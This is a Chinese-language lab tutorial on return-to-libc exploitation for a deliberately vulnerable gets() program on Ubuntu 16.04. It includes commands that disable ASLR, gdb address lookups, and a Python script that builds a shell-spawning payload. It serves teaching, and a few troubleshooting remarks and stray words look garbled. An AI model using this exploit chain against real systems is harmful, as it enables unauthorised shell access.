老实说缓冲区溢出玩到一定阶段都会遇到同一个尴尬精心构造的shellcode明明没问题可程序一跑就报段错误。翻日志才发现是NX保护把栈变成了“不可执行区”所有塞在栈上的机器码全部白费。这时候Return-to-libc实验就成了绕开这条限制的经典思路——它不往栈里写一行可执行代码而是把程序的控制流劫持到libc里已经存在的函数上用system(/bin/sh)直接给你一个shell。这篇文章我会从原理讲到完整实操全部基于Ubuntu16.04环境适合已经做过普通缓冲区溢出、但还不清楚怎么对抗NX的人。全程不涉及真实系统攻击所有验证都在本地虚拟机里完成建议你跟着做的时候也开一个隔离的快照。1. 这个实验到底在做什么1.1 从“跳转栈”到“借用libc”的分水岭最基础的缓冲区溢出实验思路通常是在buffer里填入机器码shellcode再通过溢出修改返回地址让它跳到栈上buffer的起始位置执行。这个思路简单直接但前提是栈区必须有执行权限。现在的操作系统早就默认把栈标记成不可执行了也就是NXNo-eXecute保护。一旦栈不可执行哪怕你的payload精准命中返回地址处理器跳过去也只会直接抛段错误。Return-to-libc就是对“栈不可执行”最典型的回应既然栈不能当作代码区那系统里现成的libc.so总可以执行吧。libc里包含了几乎所有的标准C函数其中system函数就是一套现成的“shell生成器”。你只需要把溢出后的返回地址改成system的真实地址把参数设置成/bin/sh字符串的地址程序就会像正常调用system一样替你启动一个shell。整个过程中栈上只有数据没有任何代码指令因此NX保护形同虚设。这个实验之所以叫“进阶版”是因为它不再依赖“把代码塞进栈”的直觉而是需要理解函数调用约定、栈布局、返回地址劫持和动态库加载机制。真正吃透它你才算从“照着payload抄”进步到“知道每个字节为什么在这个位置”。1.2 实验环境Ubuntu 16.04为什么是“经典靶场”很多人问我为什么不用新版本系统做实验非要用Ubuntu16.04。原因很实在这个版本的环境特性非常“温顺”适合教学演示。16.04默认的gcc是5.4版本关闭防护的开关和今天的系统差距不算太大更重要的是它在32位程序的支持上很顺畅传统ret2libc在32位下简单直观不需要处理64位那套寄存器传参和栈对齐问题。当然Ubuntu16.04也能运行64位程序但如果目标是64位参数传递规则就变得复杂需要额外使用“pop rdi; ret”这类gadget来构造ROP链。我们后面会单独讨论这个差异但整个主实验流程我建议编译成32位程序。这一方面符合绝大多数ret2libc入门教程的传统另一方面也能让你把注意力集中在核心的攻击链上不被汇编细节带偏。还有一点Ubuntu16.04的默认安全机制和企业版本很接近开启了栈保护、地址随机化和PIE。这意味着你必须在编译环节显式关闭这些防护否则实验会变成一场在“全副武装”下的硬仗不适合当作第一次尝试。实验完成后记得把系统配置恢复原样避免影响其他用途。1.3 前置技能清单如果你是完全的新手建议先完成以下基础准备了解C语言的函数调用栈知道栈帧、返回地址是什么会用gdb查看寄存器、内存和函数地址能读懂最简单的x86汇编至少知道push、pop、call、ret的作用亲手完成过一次基础的“返回地址覆盖”实验制造过段错误如果这些条件都满足那这个实验就不会卡住你如果某项还比较模糊强烈建议先回去补一补否则中途会频繁陷入“为什么会崩”的困惑。我在带人做这个实验时发现绝大多数卡壳点不在攻击代码本身而是卡在“栈布局没想清楚”和“地址算错”这两个基本问题上。2. 核心原理为什么偏偏是libc2.1 函数调用栈与ret指令的本质要理解ret2libc不能只把注意力放在缓冲区上更要理解ret这条指令到底做了什么。在x86架构中call指令会先把下一个指令的地址压入栈然后跳转到目标函数ret指令则会把栈顶的值弹出到eip或rip于是程序继续从栈顶指向的地址执行。所以当攻击者能通过缓冲区溢出改写返回地址时本质上是控制了ret指令的目标地址。传统思路是把这个地址指向自己的shellcode而ret2libc则是把它指向libc里的system函数。关键在于ret跳转时栈指针esp的位置也有讲究。当函数执行到ret时栈顶正好是返回地址ret弹出返回地址后esp自动上移紧接着栈顶就会暴露函数原本的“下一个元素”。如果攻击者在padding后面精确布置了多个地址第一个被弹出的地址用来劫持eip第二个地址则会被当作被调用函数的返回地址第三个起则会被当作函数参数。这种“一个地址一个坑”的排布方式就是整条攻击链的基石。我经常用一句话概括“ret2libc不是要去执行你的代码而是借用系统自己的代码。”越早理解这句话后面构造payload就越轻松。2.2 ret2libc的payload布局32位Linux下函数调用参数通过栈传递。一个普通的函数调用system(/bin/sh)在汇编层面大概等价于先把/bin/sh字符串地址压栈然后call system。但攻击者没有机会直接执行“压栈call”他只能通过溢出改写返回地址让程序自己“走”到system里。所以payload的布局需要非常讲究。假设溢出点在buffer偏移68字节处是返回地址那么标准布局是padding68字节 system地址 让system返回后执行的地址常见用exit /bin/sh字符串地址当被溢出函数ret时系统从栈顶弹出system地址eip跳到system入口。此时栈顶剩下的是第二项按cdecl调用约定system会把它当作“返回地址”保存再往上才是真正传给system的第一个参数。于是第三项就是system的第一个参数也就是/bin/sh指针。system执行到return时不会返回原来的main而是返回第二项指定的exit从而温和退出避免因为返回一个不存在的地址而崩溃。这里的第二项非常重要很多人只填system和binsh导致system调用结束后乱跳往往在拿到shell之前程序就崩了。正统做法是填一个exit函数的地址让system正常结束后调用exit结束进程整个过程干净利落。2.3 libc基址、函数偏移与字符串定位既然要跳到libc里的函数就必须知道运行时函数真实地址。关闭ASLR后libc每次加载的基址固定因此函数真实地址 libc基址 函数在so文件里的偏移。如何拿到这些数字典型操作分为两步/proc/pid/maps或gdb里的info proc mappings能拿到libc运行时基址readelf -s libc.so.6可以查system、exit等函数符号的偏移strings -tx libc.so.6可以查到/bin/sh字符串的偏移不过要注意libc不仅是一个文件可能不同版本、不同编译选项都会偏移不同。实际实验中每个机器的libc版本可能不同所以最可靠的办法不是从网上找一个固定地址而是在自己的环境里现场计算。如果你使用gdb直接在程序运行状态下输入p system、p exitgdb会帮你把真实地址算出来这在调试阶段尤其好用。但为了真正理解我还是强烈建议手动走一遍“libc基址 符号偏移”的过程这样才能在脱离gdb时也从容动手。3. 环境搭建与漏洞程序准备3.1 安装依赖与关闭ASLR我默认你手头有一个Ubuntu16.04的虚拟机如果还没有就新建一个干净的快照。虚拟机的好处是随便折腾坏了直接恢复不会影响宿主机。第一步是确保32位编译环境可用。如果你安装的是64位Ubuntu需要先开启i386架构并安装gcc的多库支持sudo dpkg --add-architecture i386 sudo apt-get update sudo apt-get install gcc-multilib libc6:i386 libc6-dev:i386如果系统本身就是32位可以省略这些步骤直接在编译时去掉-m32。第二步是关闭ASLR。Linux内核通过/proc/sys/kernel/randomize_va_space控制地址随机化传0就是关闭echo 0 | sudo tee /proc/sys/kernel/randomize_va_space你也可用sudo sysctl -w kernel.randomize_va_space0效果一样。关闭后每次程序加载的共享库基址基本固定我们后续计算地址才不会一调试就变。注意实验结束后记得恢复echo 2 | sudo tee /proc/sys/kernel/randomize_va_space如果不想让系统长期处于无保护状态这一步一定不要落下。3.2 编译一个“故意留洞”的C程序实验需要一个简单、可控、没有防护的目标程序。我常用来演示的源码长这样它使用gets从标准输入读取用户输入但完全不做长度检查#include stdio.h #include string.h void vulnerable() { char buffer[64]; gets(buffer); } int main() { vulnerable(); puts(Returned safely); return 0; }编译命令里要明确关闭一堆防御机制gcc -m32 -fno-stack-protector -z noexecstack -no-pie -o vuln vuln.c这几个参数对应的 защитные机制分别是-fno-stack-protector关闭栈canary检测-z noexecstack显式标记栈为不可执行这正好复现了现实场景-no-pie关闭位置无关可执行文件固定程序的代码地址编译时如果报缺少32位头文件就回看3.1安装gcc-multilib。编译成功后可以先用checksec这类工具确认防护状态如果没有工具也可以用readelf -l ./vuln | grep GNU_STACK看看栈属性输出中如果包含RWE就说明栈可执行这不符合实验前提正常应该是RW。3.3 第一轮验证崩溃与返回地址偏移编译完先不急着攻击先验证我们能不能让程序崩溃并确定返回地址到底在缓冲区后的第几个字节。ecr我要先造一个68字节的临时payloadpython3 -c import sys; sys.stdout.buffer.write(bA * 68 bBBBB bC * 30) crash_input ./vuln crash_input如果偏移正好是68程序会用BBBB也就是0x42424242作为返回地址然后崩溃。在gdb中运行就能直接看到EIP的值gdb -batch -ex run crash_input ./vuln看到类似EIP: 0x42424242这样的输出说明偏移正确。如果EIP不是0x42424242需要调整前面的A数量。最常见的偏移是68但也可能因为编译器栈对齐变成72或80所以这一步一定要亲自验证不要盲信教程里的数字。4. 攻击链实操全记录4.1 获取运行时libc地址偏移确认后下一步就是把libc的真实基址找出来。关闭ASLR后最方便的办法是打开gdb让程序跑起来然后查看进程的内存映射gdb ./vuln (gdb) start (gdb) info proc mappings在输出的映射表里会找到一个类似下面的条目这就是当前进程加载的libc库Start Addr End Addr Size Offset Perms Object 0xf7e00000 0xf7fbb000 0x1bb000 0x0 r-xp /lib/i386-linux-gnu/libc.so.6这里的0xf7e00000就是libc的加载基址。由于ASLR已经关闭这个地址后续每次运行时也基本稳定但不同机器会因为libc版本和gcc差异出现不同千万不要照抄我这里的数字。如果程序在gdb里启动后的地址和外面直接运行不一致多运行几次看稳定值即可。关闭ASLR后差异一般很小如果不一致就始终使用调试时获取的地址。4.2 计算system、exit和/bin/sh地址拿到libc基址后还要从libc.so文件中提取符号偏移。32位Ubuntu16.04的libc路径通常在/lib/i386-linux-gnu/libc.so.6接下来用readelf找system和exit这两个函数readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -w system readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -w exit输出结果的形式类似some number 503: 0003d050 65 FUNC GLOBAL DEFAULT 13 systemGLIBC_PRIVATE第一列的数字是符号表序号真正有用的是函数在文件内的偏移0003d050。exit也是同理。接着找/bin/sh字符串的位置strings -tx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh输出类似17f58a /bin/sh注意strings -tx输出的前面的十六进制数是相对文件起始的偏移所以/bin/sh字符串的偏移就是0x17f58a。然后把偏移加上基址system地址 0xf7e00000 0x0003d050 0xf7e3d050 exit地址 0xf7e00000 0x0002ede0 0xf7e2ede0 binsh地址 0xf7e00000 0x0017f58a 0xf7f7f58a在实际实验里机器显示的数字可能和我这里不同这不影响原理。你只需要确保每个加数都来自自己的环境。4.3 生成payload并完成利用现在就可以写Python脚本生成最终payload了。payload结构就是前面讲的68字节填充 system exit /bin/sh地址。import struct p32 lambda x: struct.pack(I, x) libc_base 0xf7e00000 system_off 0x0003d050 exit_off 0x0002ede0 binsh_off 0x0017f58a system_addr libc_base system_off exit_addr libc_base exit_off binsh_addr libc_base binsh_off payload bA * 68 payload p32(system_addr) payload p32(exit_addr) payload p32(binsh_addr) with open(exploit_input, wb) as f: f.write(payload) print(fsystem: {hex(system_addr)}) print(fexit: {hex(exit_addr)}) print(fbinsh: {hex(binsh_addr)})保存为exp.py后运行python3 exp.py ./vuln exploit_input如果一切顺利屏幕上不会打印Returned safely而是直接出现一个shell输入id或whoami可以验证身份再输入exit退出。如果没反应别急下一节专门盘一排排查方法。另外我建议你先在gdb里验证一遍这有助于判断是地址算错还是输入被截断。4.4 GDB调试验证完整利用过程在gdb里看利用过程十分直观。用start启动程序后先确认libc地址再设置断点观察触发ret前的栈内容。gdb ./vuln (gdb) break main (gdb) run exploit_input (gdb) break *vulnerable35 # 这个地址要根据反汇编结果调整 (gdb) continue (gdb) x/16wx $esp在返回地址被劫持的那一刻栈上应该能看到我们布置的system、exit和binsh地址。如果栈里数据顺序正确就可以继续单步看到它跳进system。这种调试方式比较费时间但非常值得。因为一旦你亲眼看到“地址在栈上按顺序排列”和“eip被改写”这两个事实整个攻击链的组装就再也不会忘。提示gdb里如果看到地址完全不对先检查你是否用了-m32编译32位程序和64位程序的栈布局完全不同地址范围也不会是0xf7xxxxxx。5. 常见问题与排错实录在整个实验过程中我几乎见过所有新手踩过的坑。这里把高频问题整理成一个速查表方便你按症状直接定位。5.1 偏移量始终不对如果你填入BBBB后EIP不是0x42424242最常见的原因是编译器对栈做了额外对齐。虽然char buffer[64]看起来只占64字节但gcc有时会在buffer和saved ebp之间塞入对齐填充字节。解决方法是不要凭感觉猜偏移用工具生成特征串来精确测量例如pwntools的cyclicfrom pwn import * context.log_level error print(cyclic(120))把生成的pattern喂给程序崩溃后读取EIP里的四个字节再用cyclic_find反向算出精确偏移。这样测出来的值最可靠比一次次手数A要快得多。5.2 无法通过命令行参数传递地址很多人一开始想用./vuln $(cat exploit_input)来传payload结果在shell里根本传不完整。这是因为payload里的地址肯定包含字节0x00而shell会把0x00当作命令行参数结束符。准备payload时尽量走stdin重定向也就是./vuln payload这样空字节不会被截断。如果一定要走argv那就不能用shell扩展得用Python里的os.execve或subprocess.Popen(vuln, [payload])让payload以二进制形式直接传给execve系统调用绕过shell的限制。不过实验里没必要这么折腾直接输入重定向最省事。5.3 get shell后没有反应或直接崩有时候程序成功调用了system但shell没弹出来或者一弹出来就退。一个原因是system返回后的地址出了问题导致目录切换失败。如果你没有填第二项而第二项恰好是无效地址system返回后就会崩溃。标准做法始终是padding system exit binsh不要想着省略第二项。虽然省略有时也能弹shell但稳定性很差尤其在非交互式环境下容易出事。另一个常见原因是没有在payload末尾加一个换行符。因为gets会读到换行符才结束如果你生成的payload文件末尾恰好没有换行gets会一直读到文件末尾之外的内存导致栈破坏范围扩大。所以我们生成payload后最好手动echo exploit_input补一个换行或者在Python脚本里直接payload b\n。5.4 地址中含0x00导致段错误32位libc地址通常是0xf7f7xxxx这种地址本身不会包含0x00开头所以通过stdin传输没问题。但如果你在某些64位环境中不做-m32编译函数地址可能形如0x00007ffff7a05000其中包含大量00字节。这样的地址直接写在payload里程序依然能读出来因为payload是二进制流不会像shell一样截断但内存对齐和栈布局会变得复杂。如果你明确要用64位目标做ret2libc地址中的空字节本身不是致命问题致命的是参数传递方式。后面一节会单独讲64位的高级玩法。6. 进阶思考与防御视角6.1 打开了ASLR怎么办我们这个实验第一步就关闭了ASLR但在真实环境中ASLR几乎不会关闭。若攻击者想用同样思路攻击就必须先解决libc基址随机化的问题。常见思路是“先泄露地址再二次利用”通过格式化字符串漏洞或信息泄露接口把某个libc函数的真实地址打出来减去对应偏移就能算出libc基址然后再构造ret2libc链。这个流程需要目标程序至少存在两次交互机会第一次用来泄露地址第二次用来发起攻击。很多CTF题目就是这种模式。所以你看ret2libc并不只是“关掉ASLR后的玩具”它攻击链中的核心地址计算逻辑在真实漏洞利用中依然适用区别只在于基址是偷来还是猜来的。6.2 64位程序的ret2libc差异如果实验题目要求的是64位程序那么情况一下复杂不少。64位System V调用约定规定函数的前几个参数要通过rdi、rsi、rdx等寄存器传递而不是压栈。这意味着你把system地址放在返回地址位置没用因为system会去读rdi寄存器里的值而不是从栈顶取参数。要解决这个问题需要调用一个“pop rdi; ret”的gadget先把栈顶的第一个值弹给rdi再ret到system。这样payload就变成了padding pop_rdi_ret binsh_addr system_addr exit_addr其中pop_rdi_ret必须从libc或二进制里找。此外还需要考虑栈对齐问题有时候需要在payload里额外填充一个ret指令让system入口时栈保持16字节对齐否则直接崩溃。这些扩展虽然有趣但建议你先熟练掌握32位版本再挑战64位。6.3 现代防御机制与总结实验里我们关闭了canary、PIE、ASLR但这不代表真实系统是软柿子。现代Linux通常默认开启栈canary函数入口往栈里放一个随机值退出时检查是否被改写PIE程序自身代码段也会随机化RELRO把只读表标记为只读防止GOT表改写Fortify对常用函数做编译期加固检查想要绕过这些单纯ret2libc远远不够常见组合是先泄露地址绕过ASLR用栈溢出绕canary用ROP链绕NX再拿GOT表之类的机制做二次跳转。安全领域就是这样一环扣一环而Return-to-libc实验恰恰是理解这一整套攻防博弈的最佳入口。我个人做了十几遍这个实验后最大的心得是不要急着抄脚本一定要自己手动算一遍地址在gdb里亲眼看到栈上那三个地址的顺序。只要栈布局和地址计算这两个关键点通了以后无论换什么libc版本、什么防护开关你都能很快反应过来问题出在哪。如果条件允许建议你接着尝试64位ret2libc再把ASLR打开练一次地址泄露这两步走完你对Linux越权漏洞利用的认知会上一个台阶。